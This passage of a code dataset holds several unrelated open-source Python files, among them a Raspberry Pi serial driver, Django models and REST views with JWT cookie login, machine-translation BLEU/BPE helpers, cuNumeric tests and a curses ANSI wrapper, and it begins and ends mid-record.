IndexError:\n w = None\n return w\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "# Copyright 2021 University of Chicago\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nimport logging\nimport os\nfrom stat import S_ISCHR\n\nfrom cyborg.accelerator.drivers.peripheral.base import BasePeripheralDriver\n\nSERIAL_DEVICE = \"/dev/ttyACM0\"\nLOG = logging.getLogger(__name__)\n\n\nclass PiSerialDriver(BasePeripheralDriver):\n def discover_peripherals(self):\n \"\"\"Discover serial dev information.\n\n :return: List of Raspberry Pi serial devices\n \"\"\"\n\n if not os.path.exists(SERIAL_DEVICE):\n LOG.error(f\"Could not find expected Serial device at {SERIAL_DEVICE}\")\n return []\n\n if not S_ISCHR(os.stat(SERIAL_DEVICE).st_mode):\n LOG.error(\n (\n f\"Serial device at {SERIAL_DEVICE} was not a character special \"\n \"device file\"\n )\n )\n return []\n\n return [\n {\n \"name\": \"pi_serial\",\n \"vendor\": \"Raspberry Pi\",\n \"model\": \"\", # ??\n \"traits\": [\"CUSTOM_SERIAL\", \"CUSTOM_SERIAL_RASPBERRY_PI\"],\n \"oci_runtime\": {\n \"linux\": {\n \"devices\": [\n {\"type\": \"c\", \"path\": SERIAL_DEVICE},\n ],\n }\n },\n }\n ]\n", "source": "ChameleonCloud/cyborg", "license": "Apache-2.0"} {"text": "from django.contrib.auth.models import User\nfrom django.db import models\n\nfrom cyder.base.constants import LEVELS\nfrom cyder.base.mixins import ObjectUrlMixin\nfrom cyder.cydns.domain.models import Domain\nfrom cyder.cydhcp.range.models import Range\nfrom cyder.cydhcp.workgroup.models import Workgroup\n\n\nclass Ctnr(models.Model, ObjectUrlMixin):\n id = models.AutoField(primary_key=True)\n name = models.CharField(max_length=100, unique=True)\n users = models.ManyToManyField(User, null=False, related_name='users',\n through='CtnrUser', blank=True)\n domains = models.ManyToManyField(Domain, null=False, blank=True)\n ranges = models.ManyToManyField(Range, null=False, blank=True)\n workgroups = models.ManyToManyField(Workgroup, null=False, blank=True)\n description = models.CharField(max_length=200, blank=True)\n email_contact = models.EmailField(blank=True, null=True)\n\n class Meta:\n db_table = 'ctnr'\n\n def __str__(self):\n return self.name\n\n def details(self):\n data = super(Ctnr, self).details()\n data['data'] = (\n ('Name', 'name', self),\n ('Description', 'description', self.description),\n )\n return data\n\n def build_legacy_class(self):\n from cyder.cydhcp.interface.dynamic_intr.models import DynamicInterface\n build_str = \"\"\n for range_ in self.ranges.all():\n build_str += \"class \\\"{0}:{1}:{2} {{\\n\".format(\n self.name, range_.start_str, range_.end_str)\n build_str += \"\\tmatch hardware;\\n\"\n build_str += \"}\\n\"\n dynamic_clients = DynamicInterface.objects.filter(\n range=range_, ctnr=self)\n for client in dynamic_clients:\n client.build_subclass(self.name)\n return build_str\n\n\nclass CtnrUser(models.Model, ObjectUrlMixin):\n user = models.ForeignKey(User)\n ctnr = models.ForeignKey(Ctnr)\n level = models.IntegerField()\n\n class Meta:\n db_table = 'ctnr_users'\n unique_together = ('ctnr', 'user')\n\n def get_detail_url(self):\n return self.ctnr.get_detail_url()\n\n def details(self):\n data = super(CtnrUser, self).details()\n data['data'] = (\n ('Container', 'ctnr', self.ctnr),\n ('User', 'user', self.user),\n ('Level', 'level', LEVELS[self.level]),\n )\n return data\n", "source": "ngokevin/chili", "license": "BSD-3-Clause"} {"text": "from .typetwo import TypeTwo\nfrom .rowkey import RowKey, NoKey, FunKey\nfrom .dictcomparer import DictComparer\nfrom .isojson import IsoJson\nfrom .transformer import Transformer\n\n__all__ = [\n TypeTwo.__name__, \n RowKey.__name__, \n NoKey.__name__, \n FunKey.__name__,\n DictComparer.__name__, \n IsoJson.__name__, \n Transformer.__name__\n]", "source": "maranite/typetwo", "license": "MIT"} {"text": "# coding: utf-8\n\nimport logging\nimport subprocess\nimport os\nimport re\n\nlogger = logging.getLogger(__name__)\n\nSCRIPT_FOLDER = \"/../scripts\"\n\n\ndef get_script_path(script_name):\n return os.path.dirname(__file__) + SCRIPT_FOLDER + \"/\" + script_name\n\n\ndef get_bleu(reference_file_path, hypothesis_file_path):\n \"\"\"\n\n Calculates BLEU score with the reference multi-bleu.perl script from Moses\n\n Args:\n reference_file_path: path to the reference translation file from the dataset\n hypothesis_file_path: path to the file translated by the translator\n\n Returns: BLEU score\n\n \"\"\"\n logger.info(\"computing bleu score...\")\n\n with open(hypothesis_file_path, \"r\", encoding=\"utf-8\") as hypothesis_file:\n args = [\"perl\", get_script_path(\"multi-bleu.perl\"), reference_file_path]\n\n popen = subprocess.Popen(args, stdin=hypothesis_file, stdout=subprocess.PIPE) # , stdout=subprocess.PIPE, stderr=subprocess.PIPE\n popen.wait()\n\n output = popen.stdout.read()\n # print(\"output:\", output)\n # err_output = popen.stderr.read()\n # print(\"error output:\", err_output)\n\n bleu = float(output.decode(\"utf-8\").split()[2].strip(\",\"))\n\n return bleu\n\n\ndef create_bpe_dataset(paths, symbols):\n \"\"\"\n Learns and applies BPE (https://github.com/rsennrich/subword-nmt) on merged vocabulary from each file in paths\n Args:\n paths: array of paths to files with lines of sentences\n symbols: how many symbols to learn\n\n Example:\n script_utils.create_bpe_dataset([\"G:/Clouds/DPbigFiles/WMT17/devSet/newstest2015-csen.cs\", \"G:/Clouds/DPbigFiles/WMT17/devSet/newstest2015-csen.en\"], 15000)\n \"\"\"\n codes_path = os.path.dirname(paths[0]) + \"/codesfile\"\n\n args = [\"python\", get_script_path(\"subword-nmt/learn_joint_bpe_and_vocab.py\"), \"-s\", str(symbols),\n \"-o\", codes_path]\n args += [\"--input\"] + paths\n args += [\"--write-vocabulary\"]\n args += [path + \".vocab\" for path in paths]\n subprocess.run(args)\n\n for path in paths:\n args = [\"python\", get_script_path(\"subword-nmt/apply_bpe.py\"), \"-c\", codes_path,\n \"--vocabulary\", path + \".vocab\", \"--input\", path, \"--output\", path + \".BPE\"]\n subprocess.run(args)\n\n\ndef create_bpe_testdataset(paths, vocab_paths, codefile_path):\n \"\"\"\n Applies BPE to test dataset, based on vocabs and codes learnt from the original dataset\n Args:\n paths: array of paths to test dataset files with lines of sentences\n vocab_paths: paths to vocab files created by create_bpe_dataset in corresponding order to paths\n codefile_path: path to codes file created by create_bpe_dataset\n\n Example:\n script_utils.create_bpe_testdataset([\"G:/Clouds/DPbigFiles/WMT17/commonCrawl/commoncrawl.cs-en.cs\", \"G:/Clouds/DPbigFiles/WMT17/commonCrawl/commoncrawl.cs-en.en\"], [\"G:/Clouds/DPbigFiles/WMT17/devSet/newstest2015-csen.cs.vocab\", \"G:/Clouds/DPbigFiles/WMT17/devSet/newstest2015-csen.en.vocab\"], \"G:/Clouds/DPbigFiles/WMT17/devSet/codesfile\")\n \"\"\"\n\n assert len(paths) == len(vocab_paths)\n\n for ix, path in enumerate(paths):\n args = [\"python\", get_script_path(\"subword-nmt/apply_bpe.py\"), \"-c\", codefile_path,\n \"--vocabulary\", vocab_paths[ix], \"--input\", path, \"--output\", path + \".BPE\"]\n subprocess.run(args)\n\n\ndef restore_subwords(paths):\n \"\"\"\n Restores subword units to words in the files, previosly generated by nmtSubwords (methods create_bpe_dataset and create_bpe_testdataset)\n\n Args:\n paths: string path or array of paths to the files\n \"\"\"\n\n if not isinstance(paths, list):\n paths = [paths]\n\n for file in paths:\n with open(file, \"r\", encoding=\"utf-8\") as f:\n data = f.read()\n\n data = re.sub(r\"(@@ )|(@@ ?$)\", \"\", data)\n\n with open(file, \"w\", encoding=\"utf-8\") as f:\n f.write(data)\n\n\nif __name__ == \"__main__\":\n # get_bleu(\"data/news-commentary-v9.cs-en.en.translated\", \"data/news-commentary-v9.cs-en.en.translated\")\n create_bpe_dataset([\n get_script_path(\"subword-nmt/datasets/mySmallTest.cs\"),\n get_script_path(\"subword-nmt/datasets/mySmallTest.en\")\n ], 10)\n", "source": "jojkos/neural-machine-translation", "license": "MIT"} {"text": "# Copyright 2022 NVIDIA Corporation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nimport random\nfrom itertools import permutations\n\nimport numpy as np\nimport pytest\nfrom test_tools.generators import mk_seq_array\n\nimport cunumeric as num\nfrom legate.core import LEGATE_MAX_DIM\n\n\ndef test_2d():\n a = np.arange(8).reshape((2, 4))\n a_num = num.array(a)\n res = np.trace(a)\n res_num = num.trace(a_num)\n assert np.array_equal(res, res_num)\n\n res = np.trace(a, dtype=float)\n res_num = num.trace(a_num, dtype=float)\n assert np.array_equal(res, res_num)\n\n\ndef test_3d():\n a = np.arange(8).reshape((2, 2, 2))\n a_num = num.array(a)\n res = np.trace(a)\n res_num = num.trace(a_num)\n assert np.array_equal(res, res_num)\n\n res = np.trace(a, offset=1)\n res_num = num.trace(a_num, offset=1)\n assert np.array_equal(res, res_num)\n\n res = np.trace(a, offset=1, axis1=1, axis2=2)\n res_num = num.trace(a_num, offset=1, axis1=1, axis2=2)\n assert np.array_equal(res, res_num)\n\n out = np.array([1, 2], dtype=float)\n out_num = num.array(out)\n np.trace(a, out=out)\n num.trace(a_num, out=out_num)\n assert np.array_equal(out, out_num)\n\n np.trace(a, dtype=int, out=out)\n num.trace(a_num, dtype=int, out=out_num)\n assert np.array_equal(out, out_num)\n\n\ndef test_4d():\n a = np.arange(24).reshape((2, 2, 2, 3))\n a_num = num.array(a)\n res = np.trace(a)\n res_num = num.trace(a_num)\n assert np.array_equal(res, res_num)\n\n\n@pytest.mark.parametrize(\"ndim\", range(2, LEGATE_MAX_DIM + 1))\ndef test_ndim(ndim):\n a_shape = tuple(random.randint(1, 9) for i in range(ndim))\n np_array = mk_seq_array(np, a_shape)\n num_array = mk_seq_array(num, a_shape)\n\n # test trace\n for axes in permutations(range(ndim), 2):\n diag_size = min(a_shape[axes[0]], a_shape[axes[1]]) - 1\n for offset in range(-diag_size + 1, diag_size):\n assert np.array_equal(\n np_array.trace(offset, axes[0], axes[1]),\n num_array.trace(offset, axes[0], axes[1]),\n )\n\n\nif __name__ == \"__main__\":\n import sys\n\n pytest.main(sys.argv)\n", "source": "mferreravila/cunumeric", "license": "Apache-2.0"} {"text": "import csv\nimport logging\nfrom datetime import datetime\n\nfrom django.conf import settings\nfrom django.contrib.auth.forms import PasswordResetForm\nfrom django.contrib.auth.models import update_last_login\nfrom django.http import FileResponse, HttpResponse\nfrom django.middleware import csrf\nfrom django.utils import timezone\nfrom django_filters.rest_framework import DjangoFilterBackend\nfrom rest_framework import filters, parsers, permissions, status, viewsets\nfrom rest_framework.decorators import action\nfrom rest_framework.response import Response\nfrom rest_framework_simplejwt import exceptions\nfrom rest_framework_simplejwt import views as simplejwt_views\nfrom rest_framework_simplejwt.serializers import TokenRefreshSerializer\n\nfrom dear_petition.petition import constants\nfrom dear_petition.petition import models as petition\nfrom dear_petition.petition import utils\nfrom dear_petition.petition.admin import GeneratedPetitionAdmin\nfrom dear_petition.petition.api import serializers\nfrom dear_petition.petition.api.authentication import JWTHttpOnlyCookieAuthentication\nfrom dear_petition.petition.etl import import_ciprs_records, recalculate_petitions\nfrom dear_petition.petition.export import generate_petition_pdf\nfrom dear_petition.users.models import User\n\nlogger = logging.getLogger(__name__)\n\n\nclass UserViewSet(viewsets.ModelViewSet):\n\n queryset = User.objects.all()\n serializer_class = serializers.UserSerializer\n filter_backends = [filters.OrderingFilter, filters.SearchFilter]\n ordering_fields = [\"username\", \"email\", \"last_login\"]\n ordering = [\"username\"]\n search_fields = [\"username\", \"email\"]\n\n def get_permissions(self):\n permission_classes = [permissions.IsAuthenticated]\n if self.action == \"list\":\n permission_classes.append(permissions.IsAdminUser)\n return [permission() for permission in permission_classes]\n\n def retrieve(self, request, pk=None):\n if request.user != self.get_object():\n return Response(status=status.HTTP_403_FORBIDDEN)\n return super().retrieve(request, pk=pk)\n\n def perform_create(self, serializer):\n instance = serializer.save()\n form = PasswordResetForm({\"email\": instance.email})\n assert form.is_valid()\n form.save(\n request=self.request,\n use_https=True,\n from_email=settings.DEFAULT_FROM_EMAIL,\n email_template_name=\"accounts/password_setup_email.html\",\n )\n\n\nclass CIPRSRecordViewSet(viewsets.ModelViewSet):\n\n queryset = petition.CIPRSRecord.objects.all()\n serializer_class = serializers.CIPRSRecordSerializer\n permission_classes = [permissions.IsAuthenticated]\n\n\nclass OffenseViewSet(viewsets.ModelViewSet):\n queryset = petition.Offense.objects.all()\n serializer_class = serializers.OffenseSerializer\n permission_classes = [permissions.IsAuthenticated]\n\n\nclass OffenseRecordViewSet(viewsets.ModelViewSet):\n queryset = petition.OffenseRecord.objects.all()\n serializer_class = serializers.OffenseRecordSerializer\n permission_classes = [permissions.IsAuthenticated]\n\n @action(\n detail=False,\n methods=[\n \"get\",\n ],\n )\n def get_petition_records(self, request):\n petition_id = request.GET.get(\"petition\")\n if not petition_id:\n return Response(\n \"No petition id provided.\", status=status.HTTP_400_BAD_REQUEST\n )\n\n try:\n pet = petition.Petition.objects.get(id=petition_id)\n except petition.Petition.DoesNotExist:\n return Response(\n \"Petition with this id does not exist.\",\n status=status.HTTP_400_BAD_REQUEST,\n )\n\n offense_records = pet.get_all_offense_records(filter_active=False)\n active_records = list(\n offense_records.filter(petitionoffenserecord__active=True).values_list(\n \"id\", flat=True\n )\n )\n serialized_data = {\n \"offense_records\": self.get_serializer(offense_records, many=True).data,\n \"active_records\": active_records,\n }\n\n return Response(serialized_data)\n\n\nclass ContactViewSet(viewsets.ModelViewSet):\n\n queryset = petition.Contact.objects.all()\n serializer_class = serializers.ContactSerializer\n permission_classes = [permissions.IsAuthenticated]\n filter_backends = [DjangoFilterBackend, filters.SearchFilter]\n filterset_fields = [\"category\"]\n search_fields = [\"name\"]\n\n\nclass BatchViewSet(viewsets.ModelViewSet):\n queryset = petition.Batch.objects.prefetch_related(\n \"petitions\", \"records__offenses__offense_records\"\n )\n permission_classes = [permissions.IsAuthenticated]\n parser_classes = (parsers.MultiPartParser, parsers.FormParser)\n\n def get_serializer_class(self):\n \"\"\"Use a custom serializer when accessing a specific batch\"\"\"\n if self.detail:\n return serializers.BatchDetailSerializer\n return serializers.BatchSerializer\n\n def get_queryset(self):\n \"\"\"Filter queryset so that user's only have read access on objects they have created\"\"\"\n qs = super().get_queryset()\n if not self.request.user.is_superuser:\n qs = qs.filter(user=self.request.user)\n return qs\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n response = self.perform_create(serializer)\n headers = self.get_success_headers(serializer.data)\n return Response(response, status=status.HTTP_201_CREATED, headers=headers)\n\n def perform_create(self, serializer):\n files = self.request.data.getlist(\"files\")\n parser_mode = serializer.data[\"parser_mode\"]\n batch = import_ciprs_records(\n files=files, user=self.request.user, parser_mode=parser_mode\n )\n return {\"id\": batch.pk}\n\n def perform_update(self, serializer):\n serializer.save(user=self.request.user)\n\n\nclass PetitionViewSet(viewsets.ModelViewSet):\n queryset = petition.Petition.objects.all()\n serializer_class = serializers.ParentPetitionSerializer\n\n def create(self, request):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n response = self.perform_create(serializer)\n headers = self.get_success_headers(serializer.data)\n return Response(response, status=status.HTTP_201_CREATED, headers=headers)\n\n @action(\n detail=True,\n methods=[\n \"post\",\n ],\n )\n def recalculate_petitions(self, request, pk=None):\n data = request.data\n\n offense_record_ids = data[\"offense_record_ids\"]\n\n if not isinstance(offense_record_ids, list):\n return Response(\n \"Provided offense record ids should be a list.\",\n status=status.HTTP_400_BAD_REQUEST,\n )\n\n new_petition = recalculate_petitions(pk, offense_record_ids)\n\n new_petition = self.get_serializer(new_petition)\n\n return Response(new_petition.data, status=200)\n\n\nclass GeneratePetitionView(viewsets.GenericViewSet):\n\n serializer_class = serializers.GeneratePetitionSerializer\n\n def create(self, request):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n generated_petition_pdf = generate_petition_pdf(\n serializer.data[\"petition\"], serializer.data\n )\n petition_document = petition.PetitionDocument.objects.get(\n id=request.data[\"petition\"]\n )\n batch = petition_document.petition.batch\n user = request.user\n\n petition.GeneratedPetition.objects.create(\n username=user.username,\n form_type=petition_document.form_type,\n number_of_charges=petition_document.offense_records.count(),\n batch_id=batch.id,\n county=petition_document.county,\n jurisdiction=petition_document.jurisdiction,\n race=batch.race,\n sex=batch.sex,\n age=batch.age,\n )\n\n user.last_generated_petition_time = timezone.now()\n user.save()\n\n resp = FileResponse(generated_petition_pdf)\n resp[\"Content-Type\"] = \"application/pdf\"\n resp[\"Content-Disposition\"] = 'inline; filename=\"petition.pdf\"'\n return resp\n\n\nclass GenerateDataPetitionView(viewsets.ModelViewSet):\n\n serializer_class = serializers.DataPetitionSerializer\n\n def create(self, request):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n data_petition = petition.DataPetition(form_type=serializer.data[\"form_type\"])\n generated_petition_pdf = generate_petition_pdf(\n data_petition, serializer.data[\"form_context\"]\n )\n resp = FileResponse(generated_petition_pdf)\n resp[\"Content-Type\"] = \"application/pdf\"\n resp[\"Content-Disposition\"] = 'inline; filename=\"petition.pdf\"'\n return resp\n\n\nclass GeneratedPetitionViewSet(viewsets.GenericViewSet):\n\n queryset = petition.GeneratedPetition.objects.all()\n permission_classes = [permissions.IsAuthenticated, permissions.IsAdminUser]\n\n @action(\n detail=False,\n methods=[\n \"get\",\n ],\n )\n def download_as_csv(self, request):\n model_fields = petition.GeneratedPetition._meta.fields\n field_names = [\n field.name\n for field in model_fields\n if field.name in constants.GENERATED_PETITION_ADMIN_FIELDS\n ]\n\n response = HttpResponse(content_type=\"text/csv\")\n response[\"Content-Disposition\"] = 'attachment; filename=\"export.csv\"'\n\n writer = csv.writer(response, delimiter=\";\")\n\n writer.writerow(field_names)\n\n for row in self.queryset:\n values = []\n for field in field_names:\n value = getattr(row, field)\n if value is None:\n value = \"\"\n values.append(value)\n writer.writerow(values)\n return response\n\n\nclass TokenObtainPairCookieView(simplejwt_views.TokenObtainPairView):\n \"\"\"\n Subclasses simplejwt's TokenObtainPairView to handle tokens in cookies\n \"\"\"\n\n cookie_path = \"/\"\n\n serializer_class = serializers.TokenObtainPairCookieSerializer\n\n def get(self, request):\n access_token = request.COOKIES.get(settings.AUTH_COOKIE_KEY)\n if access_token is None:\n logger.warning(\"Access token not found in cookie\")\n return Response(status=status.HTTP_401_UNAUTHORIZED)\n\n try:\n validated_user, _ = JWTHttpOnlyCookieAuthentication().authenticate_token(\n access_token\n )\n except:\n validated_user = None\n if validated_user is None:\n return Response(status=status.HTTP_401_UNAUTHORIZED)\n\n update_last_login(None, validated_user)\n user_serializer = serializers.UserSerializer(validated_user)\n return Response({\"user\": user_serializer.data}, status=status.HTTP_200_OK)\n\n def post(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n\n try:\n serializer.is_valid(raise_exception=True)\n except exceptions.TokenError as e:\n raise exceptions.InvalidToken(e.args[0])\n\n # We don't want 'access' in response body\n response_data = {\"detail\": \"success\", \"user\": serializer.validated_data[\"user\"]}\n response = Response(response_data, status=status.HTTP_200_OK)\n\n response.set_cookie(\n settings.AUTH_COOKIE_KEY, # get cookie key from settings\n serializer.validated_data[\n \"access\"\n ], # pull access token out of validated_data\n max_age=settings.SIMPLE_JWT[\"ACCESS_TOKEN_LIFETIME\"].total_seconds(),\n domain=getattr(\n settings, \"AUTH_COOKIE_DOMAIN\", None\n ), # we can tie the cookie to a specific domain for added security\n path=self.cookie_path,\n secure=settings.DEBUG is False,\n httponly=True, # browsers should not allow javascript access to this cookie\n samesite=settings.AUTH_COOKIE_SAMESITE,\n )\n\n response.set_cookie(\n settings.REFRESH_COOKIE_KEY,\n serializer.validated_data[\"refresh\"],\n max_age=settings.SIMPLE_JWT[\"REFRESH_TOKEN_LIFETIME\"].total_seconds(),\n domain=getattr(settings, \"AUTH_COOKIE_DOMAIN\", None),\n path=self.cookie_path,\n secure=settings.DEBUG is False,\n httponly=True, # browsers should not allow javascript access to this cookie\n samesite=settings.AUTH_COOKIE_SAMESITE,\n )\n\n return response\n\n def delete(self, request, *args, **kwargs):\n response = Response({})\n response.delete_cookie(\n settings.AUTH_COOKIE_KEY,\n domain=getattr(settings, \"AUTH_COOKIE_DOMAIN\", None),\n path=self.cookie_path,\n )\n response.delete_cookie(\n settings.REFRESH_COOKIE_KEY,\n domain=getattr(settings, \"AUTH_COOKIE_DOMAIN\", None),\n path=self.cookie_path,\n )\n # https://docs.djangoproject.com/en/3.2/ref/settings/#csrf-header-name\n response.delete_cookie(\n utils.remove_prefix(settings.CSRF_COOKIE_NAME, \"HTTP_\"),\n domain=getattr(settings, \"AUTH_COOKIE_DOMAIN\", None),\n path=self.cookie_path,\n )\n\n response.data = {\"detail\": \"success\"}\n\n return response\n\n\nclass TokenRefreshCookieView(simplejwt_views.TokenRefreshView):\n cookie_path = \"/\"\n serializer_class = TokenRefreshSerializer\n\n def post(self, request, *args, **kwargs):\n refresh_key = request.COOKIES.get(settings.REFRESH_COOKIE_KEY)\n if refresh_key is None:\n return Response(status=status.HTTP_400_BAD_REQUEST)\n serializer = self.get_serializer(data={\"refresh\": refresh_key})\n\n try:\n serializer.is_valid(raise_exception=True)\n except exceptions.TokenError as e:\n raise exceptions.InvalidToken(e.args[0])\n\n # We don't want 'access' in response body\n response_data = {\n \"detail\": \"success\",\n }\n response = Response(response_data, status=status.HTTP_200_OK)\n\n response.set_cookie(\n settings.AUTH_COOKIE_KEY, # get cookie key from settings\n serializer.validated_data[\n \"access\"\n ], # pull access token out of validated_data\n max_age=settings.SIMPLE_JWT[\"ACCESS_TOKEN_LIFETIME\"].total_seconds(),\n domain=getattr(\n settings, \"AUTH_COOKIE_DOMAIN\", None\n ), # we can tie the cookie to a specific domain for added security\n path=self.cookie_path,\n secure=settings.DEBUG is False,\n httponly=True, # browsers should not allow javascript access to this cookie\n samesite=settings.AUTH_COOKIE_SAMESITE,\n )\n\n return response\n", "source": "codefordurham/dear-petition", "license": "MIT"} {"text": "\"\"\"A curses wrapper that understands ANSI escape code sequences.\"\"\"\n\n\nfrom __future__ import annotations\n\nimport curses\nfrom dataclasses import dataclass\nfrom typing import Text\n\nimport ochre\nfrom stransi import Ansi, SetAttribute, SetClear, SetColor, SetCursor\nfrom stransi.attribute import Attribute\nfrom stransi.clear import Clear\nfrom stransi.color import ColorRole\nfrom stransi.cursor import CursorMove\n\nfrom .color_manager import ColorManager\n\n__version__ = \"0.2.0\"\n\n\n__all__ = [\"Cusser\"]\n\n\ndef on_add_color(color: ochre.Color, manager: ColorManager) -> None:\n \"\"\"Initialize a color when it is added to the color manager.\"\"\"\n color = color.rgb\n return curses.init_color(\n manager[color],\n int(1000 * color.red),\n int(1000 * color.green),\n int(1000 * color.blue),\n )\n\n\ndef on_add_pair(pair: ochre.ColorPair, manager: ColorManager) -> None:\n \"\"\"Initialize a color pair when it is added to the color manager.\"\"\"\n curses.init_pair(manager[pair], manager[pair.foreground], manager[pair.background])\n\n\n@dataclass\nclass Cusser:\n \"\"\"A curses wrapper that understands ANSI escape code sequences.\"\"\"\n\n window: curses._CursesWindow\n color_manager: ColorManager = ColorManager(\n on_add_color=on_add_color, on_add_pair=on_add_pair\n )\n\n _ON_ATTR_MAP = {\n Attribute.BOLD: curses.A_BOLD,\n Attribute.DIM: curses.A_DIM,\n Attribute.ITALIC: curses.A_ITALIC,\n Attribute.UNDERLINE: curses.A_UNDERLINE,\n Attribute.BLINK: curses.A_BLINK,\n Attribute.REVERSE: curses.A_REVERSE,\n Attribute.HIDDEN: curses.A_INVIS,\n }\n\n _OFF_ATTR_MAP = {\n Attribute.NEITHER_BOLD_NOR_DIM: curses.A_BOLD | curses.A_DIM,\n Attribute.NOT_ITALIC: curses.A_ITALIC,\n Attribute.NOT_UNDERLINE: curses.A_UNDERLINE,\n Attribute.NOT_BLINK: curses.A_BLINK,\n Attribute.NOT_REVERSE: curses.A_REVERSE,\n Attribute.NOT_HIDDEN: curses.A_INVIS,\n }\n\n def __post_init__(self):\n \"\"\"\n Initialize the color manager.\n\n We assume the terminal actually supports colors.\n \"\"\"\n curses.start_color()\n curses.use_default_colors()\n\n # We have to define the zero color pair here, otherwise we'll get a nasty\n # error later.\n self.color_manager.add_pair(\n ochre.ColorPair(ochre.WebColor(\"white\"), ochre.WebColor(\"black\")),\n allow_zero=True,\n )\n\n def addstr(self, text: Text) -> None:\n \"\"\"Add a string to the window, interpreting ANSI escape codes.\"\"\"\n for instruction in Ansi(text).instructions():\n if isinstance(instruction, Text):\n self.window.addstr(instruction)\n elif isinstance(instruction, SetAttribute):\n self._set_attribute(instruction.attribute)\n elif isinstance(instruction, SetColor):\n self._set_color(instruction.role, instruction.color)\n elif isinstance(instruction, SetClear):\n self._set_clear(instruction.region)\n elif isinstance(instruction, SetCursor):\n self._set_cursor(instruction.move)\n else:\n raise NotImplementedError(instruction)\n\n def _set_attribute(self, attribute: Attribute) -> None:\n \"\"\"Set the current attribute.\"\"\"\n if attribute == Attribute.NORMAL:\n self._set_color(ColorRole.FOREGROUND, None)\n self._set_color(ColorRole.BACKGROUND, None)\n return self.window.attrset(curses.A_NORMAL)\n\n if attribute in self._ON_ATTR_MAP:\n return self.window.attron(self._ON_ATTR_MAP[attribute])\n\n if attribute in self._OFF_ATTR_MAP:\n return self.window.attroff(self._OFF_ATTR_MAP[attribute])\n\n raise ValueError(f\"Unsupported attribute: {attribute}\")\n\n def _set_color(self, role: ColorRole, color: ochre.Color) -> None:\n \"\"\"Set the current color.\"\"\"\n if role == ColorRole.FOREGROUND:\n self.color_manager.foreground = color\n elif role == ColorRole.BACKGROUND:\n self.color_manager.background = color\n else:\n raise ValueError(f\"Unknown color role {role}\")\n\n self.window.attron(\n curses.color_pair(self.color_manager[self.color_manager.current_pair])\n )\n\n def _set_clear(self, region: Clear) -> None:\n \"\"\"Set the current clear region.\"\"\"\n if region == Clear.SCREEN:\n return self.window.erase()\n\n if region == Clear.SCREEN_AFTER:\n return self.window.clrtobot()\n\n if region == Clear.LINE:\n # https://stackoverflow.com/a/20311594/4039050\n y, x = self.window.getyx() # noqa: W0612\n self.window.move(y, 0)\n return self.window.clrtoeol()\n # self.window.move(y, x)\n\n if region == Clear.LINE_AFTER:\n return self.window.clrtoeol()\n\n raise ValueError(f\"Unsupported clear region {region}\")\n\n def _set_cursor(self, move: CursorMove) -> None:\n \"\"\"Set the current cursor position.\"\"\"\n if not move.relative:\n y, x = move.y, move.x\n else:\n y, x = self.window.getyx()\n y += move.y\n x += move.x\n self.window.move(y, x)\n\n def __getattr__(self, name):\n \"\"\"Forward all other calls to the underlying window.\"\"\"\n return getattr(self.window, name)\n", "source": "getcuia/cusser", "license": "MIT"} {"text": "# --------------------------------------------------------------------------\r\n# Source file provided under Apache License, Version 2.0, January 2004,\r\n# http://www.apache.org/licenses/\r\n# (c) Copyright IBM Corp. 2015, 2016\r\n# --------------------------------------------------------------------------\r\n\r\n# Source: http://blog.yhathq.com/posts/how-yhat-does-cloud-balancing.html\r\n\r\nfrom collections import namedtuple\r\nimport json\r\n\r\nfrom docplex.util.environment import get_environment\r\nfrom docplex.mp.absmodel import AbstractModel\r\n\r\n\r\n# ----------------------------------------------------------------------------\r\n# Initialize the problem data\r\n# ----------------------------------------------------------------------------\r\nclass TUser(namedtuple(\"TUser\", [\"id\", \"running\", \"sleeping\", \"current_server\"])):\r\n def __str__(self):\r\n return self.id\r\n\r\nSERVERS = [\"server002\", \"server003\", \"server001\", \"server006\", \"server007\", \"server004\", \"server005\"]\r\n\r\nUSERS = [(\"user013\", 2, 1, \"server002\"),\r\n (\"user014\", 0, 2, \"server002\"),\r\n (\"user015\", 0, 4, \"server002\"),\r\n (\"user016\", 1, 4, \"server002\"),\r\n (\"user017\", 0, 3, \"server002\"),\r\n (\"user018\", 0, 2, \"server002\"),\r\n (\"user019\", 0, 2, \"server002\"),\r\n (\"user020\", 0, 1, \"server002\"),\r\n (\"user021\", 4, 4, \"server002\"),\r\n (\"user022\", 0, 1, \"server002\"),\r\n (\"user023\", 0, 3, \"server002\"),\r\n (\"user024\", 1, 2, \"server002\"),\r\n (\"user025\", 0, 1, \"server003\"),\r\n (\"user026\", 0, 1, \"server003\"),\r\n (\"user027\", 1, 1, \"server003\"),\r\n (\"user028\", 0, 1, \"server003\"),\r\n (\"user029\", 2, 1, \"server003\"),\r\n (\"user030\", 0, 5, \"server003\"),\r\n (\"user031\", 0, 2, \"server003\"),\r\n (\"user032\", 0, 3, \"server003\"),\r\n (\"user033\", 1, 1, \"server003\"),\r\n (\"user034\", 0, 1, \"server003\"),\r\n (\"user035\", 0, 1, \"server003\"),\r\n (\"user036\", 4, 1, \"server003\"),\r\n (\"user037\", 7, 1, \"server003\"),\r\n (\"user038\", 2, 1, \"server003\"),\r\n (\"user039\", 0, 3, \"server003\"),\r\n (\"user040\", 1, 2, \"server003\"),\r\n (\"user001\", 0, 2, \"server001\"),\r\n (\"user002\", 0, 3, \"server001\"),\r\n (\"user003\", 5, 4, \"server001\"),\r\n (\"user004\", 0, 